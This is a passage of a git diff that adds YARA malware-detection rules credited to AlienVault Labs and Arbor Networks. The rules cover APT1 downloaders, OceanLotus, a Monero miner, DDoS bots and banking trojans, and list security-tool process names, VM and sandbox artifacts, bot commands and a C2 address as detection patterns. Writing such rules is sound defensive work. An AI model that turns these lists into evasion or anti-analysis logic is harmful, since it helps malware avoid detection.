+		$proc130 = "spybotsd.exe" ascii wide
+		$proc131 = "OnAccessInstaller.exe" ascii wide
+		$proc132 = "op_mon.exe" ascii wide
+		$proc133 = "bootsafe.exe" ascii wide
+		$proc134 = "xauth_service.exe" ascii wide
+		$proc135 = "SoftAct.exe" ascii wide
+		$proc136 = "cmdagent.exe" ascii wide
+		$proc137 = "bullguard.exe" ascii wide
+		$proc138 = "xfilter.exe" ascii wide
+		$proc139 = "CavSn.exe" ascii wide
+		$proc140 = "VCATCH.EXE" ascii wide
+		$proc141 = "cdas2.exe" ascii wide
+		$proc142 = "zlh.exe" ascii wide
+		$proc143 = "Packetizer.exe" ascii wide
+		$proc144 = "SpyHunter3.exe" ascii wide
+		$proc145 = "cmgrdian.exe" ascii wide
+		$proc146 = "adoronsfirewall.exe" ascii wide
+		$proc147 = "Packetyzer.exe" ascii wide
+		$proc148 = "wwasher.exe" ascii wide
+		$proc149 = "configmgr.exe" ascii wide
+		$proc150 = "scfservice.exe" ascii wide
+		$proc151 = "zanda.exe" ascii wide
+		$proc152 = "authfw.exe" ascii wide
+		$proc153 = "cpd.exe" ascii wide
+		$proc154 = "scfmanager.exe" ascii wide
+		$proc155 = "zerospywarele.exe" ascii wide
+		$proc156 = "dvpapi.exe" ascii wide
+		$proc157 = "espwatch.exe" ascii wide
+		$proc158 = "dltray.exe" ascii wide
+		$proc159 = "zerospywarelite_installer.exe" ascii wide
+		$proc160 = "clamd.exe" ascii wide
+		$proc161 = "fgui.exe" ascii wide
+		$proc162 = "dlservice.exe" ascii wide
+		$proc163 = "Wireshark.exe" ascii wide
+		$proc164 = "sab_wab.exe" ascii wide
+		$proc165 = "filedeleter.exe" ascii wide
+		$proc166 = "ashwebsv.exe" ascii wide
+		$proc167 = "tshark.exe" ascii wide
+		$proc168 = "SUPERAntiSpyware.exe" ascii wide
+		$proc169 = "firewall.exe" ascii wide
+		$proc170 = "ashdisp.exe" ascii wide
+		$proc171 = "rawshark.exe" ascii wide
+		$proc172 = "vdtask.exe" ascii wide
+		$proc173 = "firewall2004.exe" ascii wide
+		$proc174 = "ashmaisv.exe" ascii wide
+		$proc175 = "Ethereal.exe" ascii wide
+		$proc176 = "asr.exe" ascii wide
+		$proc177 = "firewallgui.exe" ascii wide
+		$proc178 = "ashserv.exe" ascii wide
+		$proc179 = "Tethereal.exe" ascii wide
+		$proc180 = "NetguardLite.exe" ascii wide
+		$proc181 = "gateway.exe" ascii wide
+		$proc182 = "aswupdsv.exe" ascii wide
+		$proc183 = "Windump.exe" ascii wide
+		$proc184 = "nstzerospywarelite.exe" ascii wide
+		$proc185 = "hpf_.exe" ascii wide
+		$proc186 = "avastui.exe" ascii wide
+		$proc187 = "Tcpdump.exe" ascii wide
+		$proc188 = "cdinstx.exe" ascii wide
+		$proc189 = "iface.exe" ascii wide
+		$proc190 = "avastsvc.exe" ascii wide
+		$proc191 = "Netcap.exe" ascii wide
+		$proc192 = "cdas17.exe" ascii wide
+		$proc193 = "invent.exe" ascii wide
+		$proc194 = "Netmon.exe" ascii wide
+		$proc195 = "fsrt.exe" ascii wide
+		$proc196 = "ipcserver.exe" ascii wide
+		$proc197 = "CV.exe" ascii wide
+		$proc198 = "VSDesktop.exe" ascii wide
+		$proc199 = "ipctray.exe" ascii wide
+	condition:
+		3 of them
+}
diff --git a/yara-mikesxrs/alienvault/ccrewDownloader1.yar b/yara-mikesxrs/alienvault/ccrewDownloader1.yar
new file mode 100644
index 0000000..e0a4ddf
--- /dev/null
+++ b/yara-mikesxrs/alienvault/ccrewDownloader1.yar
@@ -0,0 +1,12 @@
+rule ccrewDownloader1
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = {DD B5 61 F0 20 47 20 57 D6 65 9C CB 31 1B 65 42}
+
+  condition:
+    any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/ccrewDownloader2.yar b/yara-mikesxrs/alienvault/ccrewDownloader2.yar
new file mode 100644
index 0000000..486d5c2
--- /dev/null
+++ b/yara-mikesxrs/alienvault/ccrewDownloader2.yar
@@ -0,0 +1,14 @@
+rule ccrewDownloader2
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "3gZFQOBtY3sifNOl" wide ascii
+        $b = "docbWUWsc2gRMv9HN7TFnvnKcrWUUFdAEem9DkqRALoD" wide ascii
+        $c = "6QVSOZHQPCMc2A8HXdsfuNZcmUnIqWrOIjrjwOeagILnnScxadKEr1H2MZNwSnaJ" wide ascii
+
+  condition:
+    any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/ccrewDownloader3.yar b/yara-mikesxrs/alienvault/ccrewDownloader3.yar
new file mode 100644
index 0000000..61468a5
--- /dev/null
+++ b/yara-mikesxrs/alienvault/ccrewDownloader3.yar
@@ -0,0 +1,17 @@
+rule ccrewDownloader3
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "ejlcmbv" wide ascii
+        $b = "bhxjuisv" wide ascii
+        $c = "yqzgrh" wide ascii
+        $d = "uqusofrp" wide ascii
+        $e = "Ljpltmivvdcbb" wide ascii
+        $f = "frfogjviirr" wide ascii
+        $g = "ximhttoskop" wide ascii
+  condition:
+    4 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/ccrewMiniasp.yar b/yara-mikesxrs/alienvault/ccrewMiniasp.yar
new file mode 100644
index 0000000..923cab6
--- /dev/null
+++ b/yara-mikesxrs/alienvault/ccrewMiniasp.yar
@@ -0,0 +1,13 @@
+rule ccrewMiniasp
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "MiniAsp.pdb" wide ascii
+    $b = "device_t=" wide ascii
+
+  condition:
+    any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/ccrewQAZ.yar b/yara-mikesxrs/alienvault/ccrewQAZ.yar
new file mode 100644
index 0000000..913f407
--- /dev/null
+++ b/yara-mikesxrs/alienvault/ccrewQAZ.yar
@@ -0,0 +1,12 @@
+rule ccrewQAZ
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "!QAZ@WSX" wide ascii
+
+  condition:
+    $a
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/ccrewSSLBack1.yar b/yara-mikesxrs/alienvault/ccrewSSLBack1.yar
new file mode 100644
index 0000000..5c24734
--- /dev/null
+++ b/yara-mikesxrs/alienvault/ccrewSSLBack1.yar
@@ -0,0 +1,13 @@
+rule ccrewSSLBack1
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "!@#%$^#@!" wide ascii
+    $b = "64.91.80.6" wide ascii
+
+  condition:
+    any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/ccrewSSLBack2.yar b/yara-mikesxrs/alienvault/ccrewSSLBack2.yar
new file mode 100644
index 0000000..7d40ad3
--- /dev/null
+++ b/yara-mikesxrs/alienvault/ccrewSSLBack2.yar
@@ -0,0 +1,12 @@
+rule ccrewSSLBack2
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = {39 82 49 42 BE 1F 3A}
+
+  condition:
+    any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/ccrewSSLBack3.yar b/yara-mikesxrs/alienvault/ccrewSSLBack3.yar
new file mode 100644
index 0000000..30073fc
--- /dev/null
+++ b/yara-mikesxrs/alienvault/ccrewSSLBack3.yar
@@ -0,0 +1,12 @@
+rule ccrewSSLBack3
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "SLYHKAAY" wide ascii
+
+  condition:
+    any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/dbgdetect_files.yar b/yara-mikesxrs/alienvault/dbgdetect_files.yar
new file mode 100644
index 0000000..994933d
--- /dev/null
+++ b/yara-mikesxrs/alienvault/dbgdetect_files.yar
@@ -0,0 +1,15 @@
+rule dbgdetect_files : dbgdetect
+{
+	meta:
+		author = "AlienVault Labs"
+		type = "info"
+		severity = 1
+		description = "Debugger detection tricks"
+	strings:
+		$file1 = "syserdbgmsg" nocase ascii wide
+		$file2 = "syserboot" nocase ascii wide
+		$file3 = "SICE" nocase ascii wide
+		$file4 = "NTICE" nocase ascii wide
+	condition:
+		2 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/dbgdetect_funcs.yar b/yara-mikesxrs/alienvault/dbgdetect_funcs.yar
new file mode 100644
index 0000000..275d481
--- /dev/null
+++ b/yara-mikesxrs/alienvault/dbgdetect_funcs.yar
@@ -0,0 +1,23 @@
+rule dbgdetect_funcs : dbgdetect
+{
+	meta:
+		author = "AlienVault Labs"
+		type = "info"
+		severity = 1
+		description = "Debugger detection tricks"
+
+	strings:
+		$func1 = "IsDebuggerPresent"
+		$func2 = "OutputDebugString"
+		$func3 = "ZwQuerySystemInformation"
+		$func4 = "ZwQueryInformationProcess"
+		$func5 = "IsDebugged"
+		$func6 = "NtGlobalFlags"
+		$func7 = "CheckRemoteDebuggerPresent"
+		$func8 = "SetInformationThread"
+		$func9 = "DebugActiveProcess"
+
+	condition:
+		2 of them
+}
+
diff --git a/yara-mikesxrs/alienvault/dbgdetect_procs.yar b/yara-mikesxrs/alienvault/dbgdetect_procs.yar
new file mode 100644
index 0000000..20c1a90
--- /dev/null
+++ b/yara-mikesxrs/alienvault/dbgdetect_procs.yar
@@ -0,0 +1,23 @@
+rule dbgdetect_procs : dbgdetect
+{
+	meta:
+		author = "AlienVault Labs"
+		type = "info"
+		severity = 1
+		description = "Debugger detection tricks"
+
+	strings:
+		$proc1 = "wireshark" nocase ascii wide
+		$proc2 = "filemon" nocase ascii wide
+		$proc3 = "procexp" nocase ascii wide
+		$proc4 = "procmon" nocase ascii wide
+		$proc5 = "regmon" nocase ascii wide
+		$proc6 = "idag" nocase ascii wide
+		$proc7 = "immunitydebugger" nocase ascii wide
+		$proc8 = "ollydbg" nocase ascii wide
+		$proc9 = "petools" nocase ascii wide
+
+	condition:
+		2 of them
+}
+
diff --git a/yara-mikesxrs/alienvault/leverage_a.yar b/yara-mikesxrs/alienvault/leverage_a.yar
new file mode 100644
index 0000000..d5e6472
--- /dev/null
+++ b/yara-mikesxrs/alienvault/leverage_a.yar
@@ -0,0 +1,18 @@
+rule leverage_a
+{
+	meta:
+		author = "earada@alienvault.com"
+		version = "1.0"
+		description = "OSX/Leverage.A"
+		date = "2013/09"
+	strings:
+		$a1 = "ioreg -l | grep \"IOPlatformSerialNumber\" | awk -F"
+		$a2 = "+:Users:Shared:UserEvent.app:Contents:MacOS:"
+		$a3 = "rm '/Users/Shared/UserEvent.app/Contents/Resources/UserEvent.icns'"
+		$script1 = "osascript -e 'tell application \"System Events\" to get the hidden of every login item'"
+		$script2 = "osascript -e 'tell application \"System Events\" to get the name of every login item'"
+		$script3 = "osascript -e 'tell application \"System Events\" to get the path of every login item'"
+		$properties = "serverVisible \x00"
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/metaxcd.yar b/yara-mikesxrs/alienvault/metaxcd.yar
new file mode 100644
index 0000000..3800b61
--- /dev/null
+++ b/yara-mikesxrs/alienvault/metaxcd.yar
@@ -0,0 +1,12 @@
+rule metaxcd
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "<meta xcd=" wide ascii
+
+  condition:
+    $a
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/nkminer_monero.yar b/yara-mikesxrs/alienvault/nkminer_monero.yar
new file mode 100644
index 0000000..a2c3f0b
--- /dev/null
+++ b/yara-mikesxrs/alienvault/nkminer_monero.yar
@@ -0,0 +1,35 @@
+rule nkminer_monero {
+
+ meta:
+
+ description = "Detects installer of Monero miner that points to a NK domain"
+
+ author = "cdoman@alienvault.com"
+ 
+ reference = "https://www.alienvault.com/blogs/labs-research/a-north-korean-monero-cryptocurrency-miner"
+
+ tlp = "white"
+
+ license = "MIT License"
+
+ strings:
+
+ $a = "82e999fb-a6e0-4094-aa1f-1a306069d1a5" nocase wide ascii
+
+ $b = "4JUdGzvrMFDWrUUwY3toJATSeNwjn54LkCnKBPRzDuhzi5vSepHfUckJNxRL2gjkNrSqtCoRUrEDAgRwsQvVCjZbRy5YeFCqgoUMnzumvS" nocase wide ascii
+
+ $c = "barjuok.ryongnamsan.edu.kp" nocase wide ascii
+
+ $d = "C:\\SoftwaresInstall\\soft" nocase wide ascii
+
+ $e = "C:\\Windows\\Sys64\\intelservice.exe" nocase wide ascii
+
+ $f = "C:\\Windows\\Sys64\\updater.exe" nocase wide ascii
+
+ $g = "C:\\Users\\Jawhar\\documents\\" nocase wide ascii
+
+ condition:
+
+ any of them
+
+}
diff --git a/yara-mikesxrs/alienvault/oceanlotus_constants.yar b/yara-mikesxrs/alienvault/oceanlotus_constants.yar
new file mode 100644
index 0000000..f32e7a1
--- /dev/null
+++ b/yara-mikesxrs/alienvault/oceanlotus_constants.yar
@@ -0,0 +1,14 @@
+rule oceanlotus_constants
+{
+        meta:
+               author = "AlienVault Labs"
+               type = "malware"
+               description = "OceanLotus constants"
+               reference = "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
+    strings:
+        $c1 = { 3A 52 16 25 11 19 07 14 3D 08 0F }
+        $c2 = { 0F 08 3D 14 07 19 11 25 16 52 3A }
+    condition:
+        any of them
+}
+ 
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/oceanlotus_xor_decode.yar b/yara-mikesxrs/alienvault/oceanlotus_xor_decode.yar
new file mode 100644
index 0000000..e0b2266
--- /dev/null
+++ b/yara-mikesxrs/alienvault/oceanlotus_xor_decode.yar
@@ -0,0 +1,12 @@
+rule oceanlotus_xor_decode
+{
+        meta:
+               author = "AlienVault Labs"
+               type = "malware"
+               description = "OceanLotus XOR decode function"
+               reference = "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
+    strings:
+        $xor_decode = { 89 D2 41 8A ?? ?? [0-1] 32 0? 88 ?? FF C2 [0-1] 39 ?A [0-1] 0F 43 D? 4? FF C? 48 FF C? [0-1] FF C? 75 E3 }
+    condition:
+        $xor_decode
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/sandboxdetect_misc.yar b/yara-mikesxrs/alienvault/sandboxdetect_misc.yar
new file mode 100644
index 0000000..a7fdc96
--- /dev/null
+++ b/yara-mikesxrs/alienvault/sandboxdetect_misc.yar
@@ -0,0 +1,21 @@
+rule sandboxdetect_misc : sandboxdetect
+{
+	meta:
+		author = "AlienVault Labs"
+		type = "info"
+		severity = 1
+		description = "Sandbox detection tricks"
+
+	strings:
+		$sbxie1 = "sbiedll" nocase ascii wide
+
+		// CWSandbox
+		$prodid1 = "55274-640-2673064-23950" ascii wide
+		$prodid2 = "76487-644-3177037-23510" ascii wide
+		$prodid3 = "76487-337-8429955-22614" ascii wide
+
+		$proc1 = "joeboxserver" ascii wide
+		$proc2 = "joeboxcontrol" ascii wide
+	condition:
+		any of them
+}
diff --git a/yara-mikesxrs/alienvault/thequickbrow_APT1.yar b/yara-mikesxrs/alienvault/thequickbrow_APT1.yar
new file mode 100644
index 0000000..9458f12
--- /dev/null
+++ b/yara-mikesxrs/alienvault/thequickbrow_APT1.yar
@@ -0,0 +1,12 @@
+rule thequickbrow_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "thequickbrownfxjmpsvalzydg" wide ascii
+
+
+        condition:
+                all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/urasay skype.yar b/yara-mikesxrs/alienvault/urasay skype.yar
new file mode 100644
index 0000000..aebbb77
--- /dev/null
+++ b/yara-mikesxrs/alienvault/urasay skype.yar	
@@ -0,0 +1,14 @@
+rule urausy_skype_dat {
+	meta:
+		author = "AlienVault Labs"
+		description = "Yara rule to match against memory of processes infected by Urausy skype.dat"
+	strings:
+		$a = "skype.dat" ascii wide
+		$b = "skype.ini" ascii wide
+		$win1 = "CreateWindow"
+		$win2 = "YIWEFHIWQ" ascii wide
+		$desk1 = "CreateDesktop"
+		$desk2 = "MyDesktop" ascii wide
+	condition:
+		$a and $b and (all of ($win*) or all of ($desk*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/vmdetect_misc.yar b/yara-mikesxrs/alienvault/vmdetect_misc.yar
new file mode 100644
index 0000000..c0fcbfa
--- /dev/null
+++ b/yara-mikesxrs/alienvault/vmdetect_misc.yar
@@ -0,0 +1,83 @@
+rule vmdetect_misc : vmdetect
+{
+	meta:
+		author = "AlienVault Labs"
+		type = "info"
+		severity = 1
+		description = "Virtual Machine detection tricks"
+
+	strings:
+		$vbox1 = "VBoxService" nocase ascii wide
+		$vbox2 = "VBoxTray" nocase ascii wide
+		$vbox3 = "SOFTWARE\\Oracle\\VirtualBox Guest Additions" nocase ascii wide
+		$vbox4 = "SOFTWARE\\\\Oracle\\\\VirtualBox Guest Additions" nocase ascii wide
+
+		$wine1 = "wine_get_unix_file_name" ascii wide
+
+		$vmware1 = "vmmouse.sys" ascii wide
+		$vmware2 = "VMware Virtual IDE Hard Drive" ascii wide
+
+		$miscvm1 = "SYSTEM\\ControlSet001\\Services\\Disk\\Enum" nocase ascii wide
+		$miscvm2 = "SYSTEM\\\\ControlSet001\\\\Services\\\\Disk\\\\Enum" nocase ascii wide
+
+		// Drivers
+		$vmdrv1 = "hgfs.sys" ascii wide
+		$vmdrv2 = "vmhgfs.sys" ascii wide
+		$vmdrv3 = "prleth.sys" ascii wide
+		$vmdrv4 = "prlfs.sys" ascii wide
+		$vmdrv5 = "prlmouse.sys" ascii wide
+		$vmdrv6 = "prlvideo.sys" ascii wide
+		$vmdrv7 = "prl_pv32.sys" ascii wide
+		$vmdrv8 = "vpc-s3.sys" ascii wide
+		$vmdrv9 = "vmsrvc.sys" ascii wide
+		$vmdrv10 = "vmx86.sys" ascii wide
+		$vmdrv11 = "vmnet.sys" ascii wide
+
+		// SYSTEM\ControlSet001\Services
+		$vmsrvc1 = "vmicheartbeat" ascii wide
+		$vmsrvc2 = "vmicvss" ascii wide
+		$vmsrvc3 = "vmicshutdown" ascii wide
+		$vmsrvc4 = "vmicexchange" ascii wide
+		$vmsrvc5 = "vmci" ascii wide
+		$vmsrvc6 = "vmdebug" ascii wide
+		$vmsrvc7 = "vmmouse" ascii wide
+		$vmsrvc8 = "VMTools" ascii wide
+		$vmsrvc9 = "VMMEMCTL" ascii wide
+		$vmsrvc10 = "vmware" ascii wide
+		$vmsrvc11 = "vmx86" ascii wide
+		$vmsrvc12 = "vpcbus" ascii wide
+		$vmsrvc13 = "vpc-s3" ascii wide
+		$vmsrvc14 = "vpcuhub" ascii wide
+		$vmsrvc15 = "msvmmouf" ascii wide
+		$vmsrvc16 = "VBoxMouse" ascii wide
+		$vmsrvc17 = "VBoxGuest" ascii wide
+		$vmsrvc18 = "VBoxSF" ascii wide
+		$vmsrvc19 = "xenevtchn" ascii wide
+		$vmsrvc20 = "xennet" ascii wide
+		$vmsrvc21 = "xennet6" ascii wide
+		$vmsrvc22 = "xensvc" ascii wide
+		$vmsrvc23 = "xenvdb" ascii wide
+
+		// Processes
+		$miscproc1 = "vmware2" ascii wide
+		$miscproc2 = "vmount2" ascii wide
+		$miscproc3 = "vmusrvc" ascii wide
+		$miscproc4 = "vmsrvc" ascii wide
+		$miscproc5 = "vboxservice" ascii wide
+		$miscproc6 = "vboxtray" ascii wide
+		$miscproc7 = "xenservice" ascii wide
+
+		$vmware_mac_1a = "00-05-69"
+		$vmware_mac_1b = "00:05:69"
+		$vmware_mac_2a = "00-50-56"
+		$vmware_mac_2b = "00:50:56"
+		$vmware_mac_3a = "00-0C-29"
+		$vmware_mac_3b = "00:0C:29"
+		$vmware_mac_4a = "00-1C-14"
+		$vmware_mac_4b = "00:1C:14"
+		$virtualbox_mac_1a = "08-00-27"
+		$virtualbox_mac_1b = "08:00:27"
+
+	condition:
+		2 of them
+}
diff --git a/yara-mikesxrs/arbor/Athena.yar b/yara-mikesxrs/arbor/Athena.yar
new file mode 100644
index 0000000..7b38f4b
--- /dev/null
+++ b/yara-mikesxrs/arbor/Athena.yar
@@ -0,0 +1,56 @@
+rule athena_http {
+  meta:
+    author = "Jason Jones <jasonjones@arbor.net>"
+    description= "Athena HTTP identification"
+ strings:
+    $fmt_str1="|type:on_exec|uid:%s|priv:%s|arch:x%s|gend:%s|cores:%i|os:%s|ver:%s|net:%s|"
+    $fmt_str2="|type:repeat|uid:%s|ram:%ld|bk_killed:%i|bk_files:%i|bk_keys:%i|busy:%s|"
+    $cmd1 = "filesearch.stop"
+    $cmd2 = "rapidget"
+    $cmd3 = "layer4."
+    $cmd4 = "slowloris"
+    $cmd5 = "rudy"
+ condition:
+     all of ($fmt_str*) and 3 of ($cmd*)
+}
+
+rule athena_irc {
+  meta:
+    author = "Jason Jones <jasonjones@arbor.net>"
+    description = "Athena IRC v1.8.x, 2.x identification"
+  strings:
+    $cmd1 = "ddos." fullword
+    $cmd2 = "layer4." fullword
+    $cmd3 = "war." fullword
+    $cmd4 = "smartview" fullword
+    $cmd5 = "ftp.upload" fullword
+    $msg1 = "%s %s :%s LAYER4 Combo Flood: Stopped"
+    $msg2 = "%s %s :%s IRC War: Flood started [Type: %s | Target: %s]"
+    $msg3 = "%s %s :%s FTP Upload: Failed"
+    $msg4 = "Athena v2"
+    $msg5 = "%s %s :%s ECF Flood: Stopped [Total Connections: %ld | Rate: %ld Connections/Second]"
+    // v1 strs
+    $amsg1 = "ARME flood on %s/%s:%i for %i seconds [Host confirmed vulnerable"
+    $amsg2 = " Rapid HTTP Combo flood on %s:%i for %i seconds"
+    $amsg3 = "Began flood: %i connections every %i ms to %s:%i"
+    $amsg4 = "IPKiller>Athena"
+    $amsg5 = "Athena=Shit!"
+    $amsg6 = "Athena-v1"
+    $amsg7 = "BTC wallet.dat file found"
+    $amsg8 = "MineCraft lastlogin file found"
+    $amsg9 = "Process '%s' was found and scheduled for deletion upon next reboot"
+    $amsg10 = "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"
+    // Athena-v1.8.3
+    $amsg11 = "Rapid Connect/Disconnect"
+    $amsg12 = "BTC wallet.dat found,"
+    // v1 cmds
+    $acmd1 = ":!arme"
+    $acmd2 = ":!openurl"
+    $acmd3 = ":!condis"
+    $acmd4 = ":!httpcombo"
+    $acmd5 = ":!urlblock"
+    $acmd6 = ":!udp"
+    $acmd7 = ":!btcwallet"
+  condition:
+    (all of ($cmd*) and 3 of ($msg*)) or (5 of ($amsg*) and 5 of ($acmd*))
+}
diff --git a/yara-mikesxrs/arbor/Black_Revolution_DDoS.yar b/yara-mikesxrs/arbor/Black_Revolution_DDoS.yar
new file mode 100644
index 0000000..ba2de69
--- /dev/null
+++ b/yara-mikesxrs/arbor/Black_Revolution_DDoS.yar
@@ -0,0 +1,31 @@
+rule blackrev
+{
+ meta:
+   author = "Dennis Schwarz"
+   date = "2013-05-21"
+   description = "Black Revolution DDoS Malware. http://www.arbornetworks.com/asert/2013/05/the-revolution-will-be-written-in-delphi/"
+ strings: 
+   $base1 = "http"
+   $base2 = "simple"
+   $base3 = "loginpost"
+   $base4 = "datapost"
+
+   $opt1 = "blackrev"
+   $opt2 = "stop"
+   $opt3 = "die"
+   $opt4 = "sleep"
+   $opt5 = "syn"
+   $opt6 = "udp"
+   $opt7 = "udpdata"
+   $opt8 = "icmp"
+   $opt9 = "antiddos"
+   $opt10 = "range"
+   $opt11 = "fastddos"
+   $opt12 = "slowhttp"
+   $opt13 = "allhttp"
+   $opt14 = "tcpdata"
+   $opt15 = "dataget"
+
+ condition:
+   all of ($base*) and 5 of ($opt*)
+}
diff --git a/yara-mikesxrs/arbor/Computrace.yar b/yara-mikesxrs/arbor/Computrace.yar
new file mode 100644
index 0000000..02918eb
--- /dev/null
+++ b/yara-mikesxrs/arbor/Computrace.yar
@@ -0,0 +1,23 @@
+rule bad_ComputraceAgent
+{
+  meta:
+    description = "Absolute Computrace Agent Lacking Hardcoded Domain"
+    thread_level = 3
+    in_the_wild = true
+	reference = "https://pastebin.com/nsv0tqUg"
+	reference2 = "https://asert.arbornetworks.com/lojack-becomes-a-double-agent/"
+	reference3 = "https://www.blackhat.com/docs/us-14/materials/us-14-Kamlyuk-Kamluk-Computrace-Backdoor-Revisited.pdf"
+ 
+  strings:
+    $a = { D1 E0 F5 8B 4D 0C 83 D1 00 8B EC FF 33 83 C3 04 }
+    $b1 = { 72 70 63 6E 65 74 70 2E 65 78 65 00 72 70 63 6E 65 74 70 00 }
+    $b2 = { 54 61 67 49 64 00 }
+ 
+    $domain = { c6 d0 d4 c7 d6 dd 9b db d4 d8 d0 c4 c0 d0 c7 cc 9b d6 da d8 } // search.namequery.com XOR 0xb5
+ 
+  condition:
+    uint16(0) == 0x5a4d and
+    filesize < 20KB and
+    ($a or ($b1 and $b2))
+    and not $domain
+}
diff --git a/yara-mikesxrs/arbor/buhtrapknock.yar b/yara-mikesxrs/arbor/buhtrapknock.yar
new file mode 100644
index 0000000..93f32c1
--- /dev/null
+++ b/yara-mikesxrs/arbor/buhtrapknock.yar
@@ -0,0 +1,20 @@
+rule buhtrapknock {
+
+meta:
+
+ author = "Curt Wilson"
+ org    = "Arbor Networks ASERT"
+ ref    = "https://www.arbornetworks.com/blog/asert/diving-buhtrap-banking-trojan-activity/"
+ hash   = "a0c428ae70bfc7fff66845698fb8ce045bffb3114dde4ea2eac19561a619c6c8"
+ desc   = "connects to C2 and issues HTTP client request for knock.html"
+
+strings:
+
+ $s1 = "C:\\Users\\dev\\Documents\\Visual Studio 2015\\Projects\\knock\\Release\\knock.pdb" ascii wide
+ $s2 = "User-Agent: Mozilla/5.0 (compatible; MSIE 273.0; Windows NT 6.1; WOW64; Trident/5.0; MASP)" ascii wide
+ $s3 = "/knock.html" ascii wide
+
+condition:
+
+uint16(0) == 0x5a4d and 2 of ($s*)
+}
diff --git a/yara-mikesxrs/arbor/chicken.yar b/yara-mikesxrs/arbor/chicken.yar
new file mode 100644
index 0000000..600445e
--- /dev/null
+++ b/yara-mikesxrs/arbor/chicken.yar
@@ -0,0 +1,35 @@
+rule chicken_dos{
+  meta:
+    author = "Jason Jones <jasonjones@arbor.net>"
+    description= "Win32-variant of Chicken ident for both dropper and dropped file"
+  strings:
+    $pdb1 = "\\Chicken\\Release\\svchost.pdb"
+    $pdb2 = "\\IntergrateCHK\\Release\\IntergrateCHK.pdb"
+    $str2 = "fake.cf"
+    $str3 = "8.8.8.8"
+    $str4 = "Processor(%d)\\"
+    $str5 = "DbProtectSupport"
+    $str1 = "dm1712/`jvpnpkte/bpl"
+    $str6 = "InstallService NPF %d"
+    $str7 = "68961"
+    $str8 = "InstallService DbProtectSupport %d"
+    $str9 = "C:\\Program Files\\DbProtectSupport\\npf.sys"
+  condition:
+    ($pdb1 or $pdb2) and 5 of ($str*)
+}
+
+rule chicken_dos_linux {
+  meta:
+    author = "Jason Jones <jasonjones@arbor.net>"
+    description= "Linux-variant of Chicken ident for both dropper and dropped file"
+  strings:
+    $cfg = "fake.cfg"
+    $file1 = "ThreadAttack.cpp"
+    $file2 = "Fake.cpp"
+    $str1 = "dns_array"
+    $str2 = "DomainRandEx"
+    $str3 = "cpu %llu %llu %llu %llu"
+    $str4 = "[ %02d.%02d %02d:%02d:%02d.%03ld ] [%lu] [%s] %s" ascii
+  condition:
+    $cfg and all of ($file*) and 3 of ($str*)
+}
diff --git a/yara-mikesxrs/arbor/dirtjumper_drive.yar b/yara-mikesxrs/arbor/dirtjumper_drive.yar
new file mode 100644
index 0000000..f741166
--- /dev/null
+++ b/yara-mikesxrs/arbor/dirtjumper_drive.yar
@@ -0,0 +1,24 @@
+rule dirtjumper_drive
+{
+ meta:
+   author = "Jason Jones"
+   author_email = "jasonjones@arbor.net"
+   date = "2013-08-26"
+   description = "Identify first version of drive DDoS malware"
+  strings:
+    $cmd1 = "-get" fullword
+    $cmd2 = "-ip" fullword
+    $cmd3 = "-ip2" fullword
+    $cmd4 = "-post1" fullword
+    $cmd5 = "-post2" fullword
+    $cmd6 = "-udp" fullword
+    $str1 = "login=[1000]&pass=[1000]&password=[50]&log=[50]&passwrd=[50]&user=[50]&username=[50]&vb_login_username=[50]&vb_login_md5password=[50]"
+    $str2 = "-timeout" fullword
+    $str3 = "-thread" fullword
+    $str4 = " Local; ru) Presto/2.10.289 Version/"
+    $str5 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT"
+    $newver1 = "-icmp"
+    $newver2 = "<xmp>"
+  condition:
+    4 of ($cmd*) and all of ($str*) and not any of ($newver*)
+}
diff --git a/yara-mikesxrs/arbor/dirtjumper_drive2.yar b/yara-mikesxrs/arbor/dirtjumper_drive2.yar
new file mode 100644
index 0000000..7510350
--- /dev/null
+++ b/yara-mikesxrs/arbor/dirtjumper_drive2.yar
@@ -0,0 +1,26 @@
+rule dirtjumper_drive2
+{
+ meta:
+   author = "Jason Jones"
+   author_email = "jasonjones@arbor.net"
+   date = "2013-08-26"
